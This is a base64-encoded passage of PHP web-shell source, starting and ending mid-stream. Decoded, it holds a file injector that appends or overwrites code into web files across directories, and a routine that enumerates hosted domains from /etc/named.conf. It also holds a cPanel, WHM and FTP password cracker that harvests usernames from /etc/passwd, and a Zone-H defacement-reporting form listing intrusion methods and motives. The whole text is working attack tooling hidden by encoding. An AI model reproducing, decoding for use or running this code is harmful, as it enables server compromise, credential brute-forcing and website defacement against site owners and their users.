kpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3Ryb25nPicuJGQuJERTLiRuYW1lLicuJy4kdHlwZS4nPC9zdHJvbmc+PHNwYW4gc3R5bGU9ImNvbG9yOmxpbWU7Ij4gd2FzIGluamVjdGVkPC9zcGFuPjwvZGl2Pic7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48c3BhbiBzdHlsZT0iY29sb3I6cmVkOyI+ZmFpbGVkIHRvIGluamVjdDwvc3Bhbj4gPHN0cm9uZz4nLiRkLiREUy4kbmFtZS4nLicuJHR5cGUuJzwvc3Ryb25nPjwvZGl2Pic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSAgICAgICAgDQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICA8dGFibGUgYWxpZ249ImNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5EaXJlY3RvcnkgOiA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCBjbGFzcz0iYm94IiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy5nZXRjd2QoKS4nIiBzaXplPSI1MCIvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPk1vZGUgOiA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxMDBweDsiIG5hbWU9Im1vZGUiIGNsYXNzPSJib3giPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhIj5BcGVuZGVyPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InciPk92ZXJ3cml0ZXI8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPkZpbGUgTmFtZSAmIFR5cGUgOiA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDEwMHB4OyIgbmFtZT0ibmFtZSIgdmFsdWU9IioiLz4mbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBuYW1lPSJ0eXBlIiBjbGFzcz0iYm94Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJodG1sIj5IVE1MPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iaHRtIj5IVE08L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiIHNlbGVjdGVkPSJzZWxlY3RlZCI+UEhQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYXNwIj5BU1A8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJhc3B4Ij5BU1BYPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ieG1sIj5YTUw8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ0eHQiPlRYVDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+Q29kZSBJbmplY3QgRGVwdGggOiA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjAiIGNoZWNrZWQ9ImNoZWNrZWQiLz4mbmJzcDswJm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZXB0aFtdIiB2YWx1ZT0iMSIvPiZuYnNwOzEmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlcHRoW10iIHZhbHVlPSIyIi8+Jm5ic3A7MiZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVwdGhbXSIgdmFsdWU9IjMiLz4mbmJzcDszDQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPiAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj48dGV4dGFyZWEgbmFtZT0iY29kZSIgY29scz0iNzAiIHJvd3M9IjEwIiBjbGFzcz0iYm94Ij48L3RleHRhcmVhPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IkluamVjdG9yIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaGFyc2V0IiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9InBhZGRpbmcgOjVweDsgd2lkdGg6MTAwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkluamVjdCIvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPic7DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCiBmdW5jdGlvbiBhY3Rpb25Eb21haW4oKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50SGVhZGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmaWxlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoIiMgQ2FuJ3QgUmVhZCBbL2V0Yy9uYW1lZC5jb25mXSAuLi4gU29ycnkgISA6KCAiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiI25hbWVkLyguKj8pLmRiIyIsICRmaWxlLCAkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jaGVjaygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2lmKGlzc2V0KCRfR0VUWydTaG93QWxsJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pg0KPHRyPjx0ZCBjb2xzcGFuPTI+WyNdIFRoZXJlIGFyZSA6IFsgPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+IF0gRG9tYWluKHMpIG9uIHRoaXMgYm94IC4uLiAqIEkgU3VnZ2VzdCBUaGF0IFlvdSBTaG91bGQgUHduIGl0IDspIDpEKjwvdGQ+PC90cj4NCjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGRvbWFpbikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+JGRvbWFpbjwvdGQ+PHRkPiIgLiAkdXNlclsnbmFtZSddIC4gIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50Rm9vdGVyKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoJZnVuY3Rpb24gYWN0aW9uQ3BhbmVsKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludEhlYWRlcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aDE+Y1BhbmVsIENyYWNrZXI8L2gxPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBhbGlnbj1jZW50ZXIgY2xhc3M9Im1haW4iIGJvcmRlcj0iMCI+PHRyIGJnY29sb3I9IiM1ZTVlNWUiPjx0ZD5Vc2VyczwvdGQ+PHRkPjwvdGQ+PHRkPlNlbGVjdGVkIFVzZXJzPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPjx0ZD48dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9IlMxIiBjb2xzPSIzMyI+PC90ZXh0YXJlYT48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcGFkMSIgdmFsdWU9Ij4iIGNsYXNzPSJjcGIiLz48YnIgLz48YnIgLz48aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcGFkYWxsIiB2YWx1ZT0iPj4iIGNsYXNzPSJjcGIiLz48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcHJtMSIgdmFsdWU9IjwiIGNsYXNzPSJjcGIiLz48YnIgLz48YnIgLz48aW5wdXQgdHlwZT0iYnV0dG9uIiBuYW1lPSJjcHJtYWxsIiB2YWx1ZT0iPDwiIGNsYXNzPSJjcGIiLz48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9InVzZXJzIiBjb2xzPSIzMyI+PC90ZXh0YXJlYT48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9InBhc3N3b3JkcyIgY29scz0iMzMiPjwvdGV4dGFyZWE+PC90ZD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyNTJweDsiIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iZyhcJ0NwYW5lbFwnLG51bGwsXCdncmJldGNwd1wnKSIgdmFsdWU9IkdyYWIgdXNlcm5hbWVzIGZyb20gL2V0Yy9wYXNzd2QiLz48YnIgLz48aW5wdXQgc3R5bGU9Im1hcmdpbi10b3A6NXB4O3dpZHRoOjI1MnB4OyIgdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJnKFwnQ3BhbmVsXCcsbnVsbCxcJ2dyYmhvbWVcJykiIHZhbHVlPSJHcmFiIHVzZXJuYW1lcyBmcm9tIC9ob21lIi8+PC90ZD48dGQ+PC90ZD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY29sc3Bhbj0iMiI+PHNwYW4+Q3JhY2sgb3B0aW9uczombmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImNwYW5lbCIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+PGI+Q3BhbmVsKDIwODIpPC9iPiZuYnNwOyZuYnNwOzxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJ3aG0iIHR5cGU9InJhZGlvIj48Yj5XSE0oMjA4Nyk8L2I+Jm5ic3A7Jm5ic3A7PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImZ0cCIgdHlwZT0icmFkaW8iPjxiPkZ0cCgyMSk8L2I+PGJyIC8+DQogICAgICAgICAgPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDo1cHg7Ij48c3Bhbj5UaW1lb3V0IGRlbGF5OiZuYnNwOyZuYnNwOzwvc3Bhbj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29ubmVjdF90aW1lb3V0IiBzaXplPSI0IiB2YWx1ZT0iIi8+Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJicnV0ZWZvcmNlIiB2YWx1ZT0idHJ1ZSIvPiZuYnNwOzxzcGFuPkJydXRlZm9yY2U8L3NwYW4+Jm5ic3A7DQogICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSJjaGFyc2V0Ij4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtZXJpYyI+TnVtYmVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzIj5MZXR0ZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InN5bWJvbHMiPlN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJjYXNlIj5Mb3dlciBMZXR0ZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVyY2FzZSI+SGlnaGVyIExldHRlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1cHBlcm51bWVyaWMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2Vyc3ltYm9scyI+TG93ZXIgTGV0dGVycyArIFN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJzeW1ib2xzIj5VcHBlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzc3ltYm9scyI+QWxsIExldHRlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Im51bWJlcnNzeW1ib2xzIj5OdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsb3dlcm51bWVyaWNzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVycyArIFN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImxldHRlcnNudW1lcmljc3ltYm9scyI+QWxsIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgIDwvc2VsZWN0PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+PHNwYW4+TWluIEJydXRlZm9yY2UgTGVuZ3RoOiZuYnNwOyZuYnNwOzwvc3Bhbj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWluX2xlbmd0aCIgc2l6ZT0iNSIgdmFsdWU9IiIvPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuPk1heCBCcnV0ZWZvcmNlIExlbmd0aDombmJzcDsmbmJzcDs8L3NwYW4+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1heF9sZW5ndGgiIHNpemU9IjUiIHZhbHVlPSIiLz48L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjVweDt0ZXh0LWFsaWduOmNlbnRlciI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyYWNrIE5vdyIgbmFtZT0ic3VibWl0IiBzdHlsZT0iZm9udC13ZWlnaHQ6IGJvbGQ7Ii8+PC9kaXY+DQogICAgICAgICAgICAgICAgPC90ZD48L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRGb290ZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQpmdW5jdGlvbiBhY3Rpb25aSHBvc3Rlcigpew0KcHJpbnRIZWFkZXIoKTsNCmVjaG8gJzxoMT5ab25lLUggTm90aWZpZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KDQplY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD1kYTIobnVsbCxudWxsLHRoaXMucDEudmFsdWUsdGhpcy5wMi52YWx1ZSx0aGlzLnAzLnZhbHVlLHRoaXMucDQudmFsdWUpO3JldHVybiB0cnVlOyI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icDEiIHNpemU9IjQwIiB2YWx1ZT0iQW5Pbkd1WSIgLz48L2JyPg0KPHNlbGVjdCBuYW1lPSJwMiI+DQo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj5rbm93biB2dWxuZXJhYmlsaXR5IChpLmUuIHVucGF0Y2hlZCBzeXN0ZW0pPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+dW5kaXNjbG9zZWQgKG5ldykgdnVsbmVyYWJpbGl0eTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPmNvbmZpZ3VyYXRpb24gLyBhZG1pbi4gbWlzdGFrZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPmJydXRlIGZvcmNlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNSIgPnNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNiIgPldlYiBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI3IiA+V2ViIFNlcnZlciBleHRlcm5hbCBtb2R1bGUgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI4IiA+TWFpbCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI5IiA+RlRQIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEwIiA+U1NIIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjExIiA+VGVsbmV0IFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEyIiA+UlBDIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEzIiA+U2hhcmVzIG1pc2NvbmZpZ3VyYXRpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE0IiA+T3RoZXIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTUiID5TUUwgSW5qZWN0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNiIgPlVSTCBQb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE3IiA+RmlsZSBJbmNsdXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE4IiA+T3RoZXIgV2ViIEFwcGxpY2F0aW9uIGJ1Zzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTkiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjAiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMSIgPlJlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3Mgc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMiIgPkF0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyMyIgPkFjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjazwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjQiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjUiID5SZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNiIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyNyIgPlJlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIFJvdXRlcjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjgiID5ETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyOSIgPkROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMwIiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8L2JyPg0KPHNlbGVjdCBuYW1lPSJwMyI+DQo8b3B0aW9uID4tLS0tLS0tLVNFTEVDVC0tLS0tLS0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIiA+SGVoLi4uanVzdCBmb3IgZnVuITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiID5Qb2xpdGljYWwgcmVhc29uczwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNCIgPkFzIGEgY2hhbGxlbmdlPC9v